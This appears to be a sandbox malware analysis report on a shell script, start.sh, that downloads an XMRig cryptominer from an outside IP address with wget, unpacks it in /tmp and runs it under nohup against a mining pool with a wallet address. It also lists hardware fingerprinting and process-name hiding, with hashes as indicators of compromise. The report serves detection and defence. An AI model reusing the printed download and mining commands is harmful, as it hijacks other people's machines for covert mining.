Analysis
- max time kernel
149s - max time network
136s - platform
ubuntu-18.04_amd64 - resource
ubuntu1804-amd64-20260513-en - resource tags
arch:amd64arch:i386image:ubuntu1804-amd64-20260513-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system - submitted
22/07/2026, 00:23
Static task
static1
Behavioral task
behavioral1
Sample
start.sh
Resource
ubuntu1804-amd64-20260513-en
ubuntu-18.04-amd64
11 signatures
150 seconds
Behavioral task
behavioral2
Sample
start.sh
Resource
debian9-armhf-20260513-en
debian-9-armhf
5 signatures
150 seconds
Behavioral task
behavioral3
Sample
start.sh
Resource
debian9-mipsbe-20260513-en
debian-9-mips
0 signatures
150 seconds
Behavioral task
behavioral4
Sample
start.sh
Resource
debian9-mipsel-20260513-en
debian-9-mipsel
0 signatures
150 seconds
General
- Target start.sh
- Size 769B
- Sample260722-apkdssbl91
- SHA256 4d991d1a1f843f44a6590eaae1ccf756d32bdc07bfb8758f63a9c27e26687587
- MD5 0a6904f5c768dde9a4e22b8274bf97b2
- SHA1 03461bf911d90823282bcfdf683e2dbb6c98ebc0
- SHA512 716fc686a112a1945348531470234371637171f34337a06673534fb05dc37c6fcd567fbb29ec3d1d1af1d06effb36e5e80c5829c2d7e28e953ab50e5a5f3492e
- TLSH T1E501C2A141424CE74C5BD9189920670ABC4A40FF7FDB71CD89E93C9E44E0011AB16689
- MD5 SHA1 SHA512 TLSH
Malware Config
Signatures
- XMRig Miner payload 2 IoCs
resource yara_rule behavioral1/files/fstream-4.dat family_xmrig behavioral1/files/fstream-4.dat xmrig - Executes dropped EXE 1 IoCs
ioc pid Process /tmp/xmrig-6.26.0/xmrig 1512 nohup - Checks hardware identifiers (DMI) 1 TTPs 4 IoCs
Checks DMI information which indicate if the system is a virtual machine.
description ioc Process File opened for reading /sys/devices/virtual/dmi/id/product_name xmrig File opened for reading /sys/devices/virtual/dmi/id/board_vendor xmrig File opened for reading /sys/devices/virtual/dmi/id/bios_vendor xmrig File opened for reading /sys/devices/virtual/dmi/id/sys_vendor xmrig - Reads hardware information 1 TTPs 14 IoCs
Accesses system info like serial numbers, manufacturer names etc.
description ioc Process File opened for reading /sys/devices/virtual/dmi/id/product_serial xmrig File opened for reading /sys/devices/virtual/dmi/id/product_uuid xmrig File opened for reading /sys/devices/virtual/dmi/id/board_name xmrig File opened for reading /sys/devices/virtual/dmi/id/chassis_vendor xmrig File opened for reading /sys/devices/virtual/dmi/id/chassis_version xmrig File opened for reading /sys/devices/virtual/dmi/id/chassis_serial xmrig File opened for reading /sys/devices/virtual/dmi/id/bios_date xmrig File opened for reading /sys/devices/virtual/dmi/id/product_version xmrig File opened for reading /sys/devices/virtual/dmi/id/board_version xmrig File opened for reading /sys/devices/virtual/dmi/id/board_serial xmrig File opened for reading /sys/devices/virtual/dmi/id/board_asset_tag xmrig File opened for reading /sys/devices/virtual/dmi/id/chassis_type xmrig File opened for reading /sys/devices/virtual/dmi/id/chassis_asset_tag xmrig File opened for reading /sys/devices/virtual/dmi/id/bios_version xmrig - Changes its process name 4 IoCs
description ioc pid Process Changes the process name, possibly in an attempt to hide itself libuv-worker 1514 xmrig Changes the process name, possibly in an attempt to hide itself libuv-worker 1515 xmrig Changes the process name, possibly in an attempt to hide itself libuv-worker 1516 xmrig Changes the process name, possibly in an attempt to hide itself libuv-worker 1517 xmrig - Checks CPU configuration 1 TTPs 1 IoCs
Checks CPU information which indicate if the system is a virtual machine.
description ioc Process File opened for reading /proc/cpuinfo xmrig - Reads CPU attributes 1 TTPs 46 IoCs
description ioc Process File opened for reading /sys/devices/system/cpu/cpu0/cache/index7/shared_cpu_map xmrig File opened for reading /sys/devices/system/cpu/cpu0/cache/index8/shared_cpu_map xmrig File opened for reading /sys/devices/system/cpu/cpu0/cpufreq/base_frequency xmrig File opened for reading /sys/devices/system/cpu/cpu0/acpi_cppc/nominal_freq xmrig File opened for reading /sys/devices/system/cpu/cpu0/cache/index2/physical_line_partition xmrig File opened for reading /sys/devices/system/cpu/cpu0/cache/index0/type xmrig File opened for reading /sys/devices/system/cpu/cpu0/cache/index0/id xmrig File opened for reading /sys/devices/system/cpu/cpu0/cache/index2/id xmrig File opened for reading /sys/devices/system/cpu/cpu0/topology/die_cpus xmrig File opened for reading /sys/devices/system/cpu/cpu0/cache/index0/coherency_line_size xmrig File opened for reading /sys/devices/system/cpu/cpu0/cache/index1/type xmrig File opened for reading /sys/devices/system/cpu/cpu0/cache/index2/level xmrig File opened for reading /sys/devices/system/cpu/cpu0/cache/index3/shared_cpu_map xmrig File opened for reading /sys/devices/system/cpu/cpu0/cache/index1/shared_cpu_map xmrig File opened for reading /sys/devices/system/cpu/cpu0/cache/index3/level xmrig File opened for reading /sys/devices/system/cpu/cpu0/cache/index3/coherency_line_size xmrig File opened for reading /sys/devices/system/cpu/cpu0/cache/index3/number_of_sets xmrig File opened for reading /sys/devices/system/cpu/cpu0/cache/index4/shared_cpu_map xmrig File opened for reading /sys/devices/system/cpu/cpu0/cache/index6/shared_cpu_map xmrig File opened for reading /sys/devices/system/cpu/cpu0/cache/index9/shared_cpu_map xmrig File opened for reading /sys/devices/system/cpu/cpu0/cache/index2/number_of_sets xmrig File opened for reading /sys/devices/system/cpu/online xmrig File opened for reading /sys/devices/system/cpu/cpu0/cache/index0/shared_cpu_map xmrig File opened for reading /sys/devices/system/cpu/cpu0/cache/index0/level xmrig File opened for reading /sys/devices/system/cpu/cpu0/cache/index1/level xmrig File opened for reading /sys/devices/system/cpu/cpu0/cache/index2/shared_cpu_map xmrig File opened for reading /sys/devices/system/cpu/cpu0/cache/index2/type xmrig File opened for reading /sys/devices/system/cpu/cpu0/topology/cluster_cpus xmrig File opened for reading /sys/devices/system/cpu/cpu0/topology/physical_package_id xmrig File opened for reading /sys/devices/system/cpu/cpu0/cache/index0/size xmrig File opened for reading /sys/devices/system/cpu/cpu0/cache/index0/physical_line_partition xmrig File opened for reading /sys/devices/system/cpu/cpu0/cache/index2/size xmrig File opened for reading /sys/devices/system/cpu/cpu0/cache/index5/shared_cpu_map xmrig File opened for reading /sys/devices/system/cpu/possible xmrig File opened for reading /sys/devices/system/cpu/cpu0/topology/core_id xmrig File opened for reading /sys/devices/system/cpu/cpu0/cache/index1/id xmrig File opened for reading /sys/devices/system/cpu/cpu0/cpu_capacity xmrig File opened for reading /sys/devices/system/cpu/cpu0/cache/index0/number_of_sets xmrig File opened for reading /sys/devices/system/cpu/cpu0/cache/index3/type xmrig File opened for reading /sys/devices/system/cpu/cpu0/cache/index3/id xmrig File opened for reading /sys/devices/system/cpu/cpu0/cache/index3/physical_line_partition xmrig File opened for reading /sys/devices/system/cpu/cpu0/cpufreq/cpuinfo_max_freq xmrig File opened for reading /sys/devices/system/cpu/cpu0/cache/index2/coherency_line_size xmrig File opened for reading /sys/devices/system/cpu/cpu0/topology/thread_siblings xmrig File opened for reading /sys/devices/system/cpu/cpu0/topology/core_siblings xmrig File opened for reading /sys/devices/system/cpu/cpu0/cache/index3/size xmrig - Enumerates kernel/hardware configuration 1 TTPs 25 IoCs
Reads contents of /sys virtual filesystem to enumerate system information.
description ioc Process File opened for reading /sys/bus/soc/devices xmrig File opened for reading /sys/fs/cgroup/cpuset/cpuset.cpus xmrig File opened for reading /sys/fs/cgroup/cpuset/cpuset.mems xmrig File opened for reading /sys/devices/cpu_core/cpus xmrig File opened for reading /sys/kernel/mm/hugepages xmrig File opened for reading /sys/devices/system/node/node0/access0/initiators xmrig File opened for reading /sys/devices/system/node/node0/access0/initiators/write_bandwidth xmrig File opened for reading /sys/devices/virtual/dmi/id xmrig File opened for reading /sys/devices/system/node/node0/meminfo xmrig File opened for reading /sys/devices/system/node/node0/hugepages/hugepages-2048kB/nr_hugepages xmrig File opened for reading /sys/devices/system/node/node0/access0/initiators/write_latency xmrig File opened for reading /sys/firmware/dmi/tables/smbios_entry_point xmrig File opened for reading /sys/firmware/dmi/tables/DMI xmrig File opened for reading /sys/devices/system/node/online xmrig File opened for reading /sys/devices/system/node/node0/cpumap xmrig File opened for reading /sys/devices/system/node/node0/hugepages xmrig File opened for reading /sys/devices/system/cpu xmrig File opened for reading /sys/devices/cpu_lowpower/cpus xmrig File opened for reading /sys/kernel/mm/hugepages/hugepages-2048kB/nr_hugepages xmrig File opened for reading /sys/bus/dax/devices xmrig File opened for reading /sys/devices/system/node/node0/access0/initiators/read_bandwidth xmrig File opened for reading /sys/devices/cpu_atom/cpus xmrig File opened for reading /sys/devices/system/node/node0/access1/initiators xmrig File opened for reading /sys/devices/system/node/node0/access0/initiators/read_latency xmrig File opened for reading /sys/devices/system/node/node0/hugepages/hugepages-2048kB/free_hugepages xmrig -
description ioc Process File opened for reading /proc/driver/nvidia/gpus xmrig File opened for reading /proc/version_signature xmrig File opened for reading /proc/sys/vm/nr_hugepages xmrig File opened for reading /proc/filesystems tar File opened for reading /proc/cmdline xmrig File opened for reading /proc/self/cpuset xmrig File opened for reading /proc/meminfo xmrig - Writes file to tmp directory 5 IoCs
Malware often drops required files in the /tmp directory.
description ioc Process File opened for modification /tmp/xmrig-6.26.0/xmrig tar File opened for modification /tmp/xmrig-6.26.0/miner.log start.sh File opened for modification /tmp/xmrig-6.26.0-linux-static-x64.tar.gz wget File opened for modification /tmp/xmrig-6.26.0/config.json tar File opened for modification /tmp/xmrig-6.26.0/SHA256SUMS tar
Processes
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/tmp/start.sh/tmp/start.sh1⤵
- Writes file to tmp directory
PID:1504 -
/usr/bin/wgetwget -q http://176.124.207.93:9999/xmrig-6.26.0-linux-static-x64.tar.gz2⤵
- Writes file to tmp directory
PID:1506
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/bin/tartar -xf xmrig-6.26.0-linux-static-x64.tar.gz2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:1510 -
/usr/local/sbin/gzipgzip -d3⤵PID:1511
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/usr/local/bin/gzipgzip -d3⤵PID:1511
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/usr/sbin/gzipgzip -d3⤵PID:1511
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/usr/bin/gzipgzip -d3⤵PID:1511
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/sbin/gzipgzip -d3⤵PID:1511
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/bin/gzipgzip -d3⤵PID:1511
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/usr/bin/nohupnohup ./xmrig -o pool.hashvault.pro:443 -u solo:4BBj3gj4oV7iRikNHDgtETDFRm8Z6kG7diVMo8mDz4zcUiXogiF8chHRKK1THWW43zc8XbGYLfU4rbgeyWYaGpWG4ePiGt4 -p --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b141⤵
- Executes dropped EXE
PID:1512
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/tmp/xmrig-6.26.0/xmrig./xmrig -o pool.hashvault.pro:443 -u solo:4BBj3gj4oV7iRikNHDgtETDFRm8Z6kG7diVMo8mDz4zcUiXogiF8chHRKK1THWW43zc8XbGYLfU4rbgeyWYaGpWG4ePiGt4 -p --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b141⤵
- Checks hardware identifiers (DMI)
- Reads hardware information
- Changes its process name
- Checks CPU configuration
- Reads CPU attributes
- Enumerates kernel/hardware configuration
- Reads runtime system information
PID:1512
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
- Path /tmp/xmrig-6.26.0-linux-static-x64.tar.gz
- Size 3.4MB
- SHA256 fc6f8ae5f64e4f17481f7e3be29a1c56949f216a998414188003eae1db20c9e5
- MD5 3988ac93e8e894b74de7794c93d3ff7d
- SHA1 7223b8c6b98689ca38539826230c4855276129b2
- SHA512 609aa97a29cf90b17d27afd0995856052b8c766530bfc60c5f0ccb3725c47f12eb7264085e18c2b6a9cbe298108c59308e04e806e8d431e0f7ea631d3f909733
- SSDEEP 98304:fJmUq2XrJrxFzMo2bUa9FI/QGNSeeQorTHOIZdBXbgXoxn7EEPKdWcK:fJ3dp7Ao2HIoiSefo/HOyTXb/xn7hQK
- TLSH T1C7F533A69112DD877526B7E37FF70480A5891672008ED42789F46CFC66CE3CA6D9F22C
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path /tmp/xmrig-6.26.0/SHA256SUMS
- Size 150B
- SHA256 dfa7c8ebcece392e8ecd4ec56c1e06ff2984068ab81dcada8e65191416be04a9
- MD5 791e88a05b74acc879e2bf9379d41fe3
- SHA1 44cc4715da1c370d631e20f206f5381d39d835f2
- SHA512 3c663ba0667e9c1a95c8a1aa0eb8838488828b628424cbb5d5fa6e98d96a4b87b83e744a1ad0ee7f9acf1d44a43575ab4b70676e448bb7ff7c27511007ac8d3e
- TLSH T1B8C08CB9510D79E3973CD2A5BAF8ACE698012B8A301424109B80886284B56D0D80B828
- MD5 SHA1 SHA512 TLSH
- Path /tmp/xmrig-6.26.0/config.json
- Size 2KB
- SHA256 a6a710135483296b9a943dc3ed31d6a1396b5cfeb127ab0d7e5c6bf49785130a
- MD5 54e9f45448cfc5c6f2506cf89d771fd5
- SHA1 c9de25d2c995d1ba2eda402dbe03c409909b842b
- SHA512 d616e929fe91d14976a26e511ec50f8f3520924349d3eb04ab785787224f8cd53ed69ba4978a61e6e7f3b6f4e26a69d7d41b59e31d7339ee250c3ea332bae485
- TLSH T17841AD25C9780CBA0294A0BC88EDA293462881075F593C3CB54C995C2F0E73E76B6BE6
- MD5 SHA1 SHA512 TLSH
- Path /tmp/xmrig-6.26.0/xmrig
- Size 8.0MB
- SHA256 b20f39fc00d242e706b6c30367ad811c676e0575050a4ec2f30104b696944b49
- MD5 e1b3e738928012a07dfce8659b3ff31d
- SHA1 c9bb4fc8eadaad35e50de087e3bbd5969cb2df2f
- SHA512 cb8b152ebecad5cffdc635ee9ba7e7b3007772b16088aa48e1374e1230db52ae0f2b135369085e6c64a9e61821244b7b0fa2cb13d7fd48af1668c9133d942835
- SSDEEP 98304:YSKSi/FM70AF/Auk3zX0H6aguAcFZqKjjMRPEkLqm7XyGkNA4xT0+x2gGYwZsVZ2:ssQLqmjsxymsONkEZqIzolQdo
- TLSH T17E865B47B6E318FDC19AC470472FD663BD70B8984221797B7698AA302F67E205B1DF21
- MD5 SHA1 SHA512 SSDEEP TLSH